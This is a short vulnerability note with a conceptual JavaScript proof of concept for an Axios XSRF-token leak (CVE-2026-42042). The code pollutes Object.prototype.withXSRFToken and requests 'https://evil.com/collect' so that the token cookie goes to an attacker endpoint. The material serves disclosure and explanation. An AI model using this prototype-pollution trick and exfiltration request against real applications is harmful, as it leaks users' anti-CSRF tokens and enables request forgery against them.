CVE-2026-42042 Axios XSRF token跨域泄露漏洞

// Conceptual Proof of Concept for CVE-2026-42042 // This demonstrates how prototype pollution can trigger the leak. // 1. Simulate Prototype Pollution // An attacker might pollute the prototype chain via another vulnerability. Object.prototype.withXSRFToken = "polluted_truthy_value"; const axios = require('axios'); // 2. Configure Axios normally (or rely on defaults) // The vulnerable version checks `if (config.withXSRFToken)` which is true for the string above. // 3. Attacker's controlled endpoint to receive the token const attackerUrl = 'https://evil.com/collect'; // 4. Victim makes a request (could be triggered by a crafted link) // Due to the bug, the XSRF token cookie will be sent to the cross-origin 'evil.com' axios.get(attackerUrl).then(response => { console.log('Request completed'); }).catch(error => { console.error(error); });